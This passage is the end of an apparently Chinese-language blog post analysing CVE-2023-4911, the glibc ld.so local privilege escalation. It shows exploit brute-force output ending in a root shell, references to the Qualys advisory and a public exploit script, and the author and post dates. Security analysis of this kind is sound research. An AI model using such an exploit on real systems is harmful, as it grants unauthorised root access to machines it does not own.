try 1100
try 1200
try 1300
try 1400
# id
uid=0(root) gid=0(root)

参考文档

  1. https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
  2. https://haxx.in/files/gnu-acme.py

CVE-2023-4911 libc提权漏洞分析

https://nobb.site/2023/10/16/0x80/

Author

Hcamael

Posted on

2023-10-16

Updated on

2023-12-08

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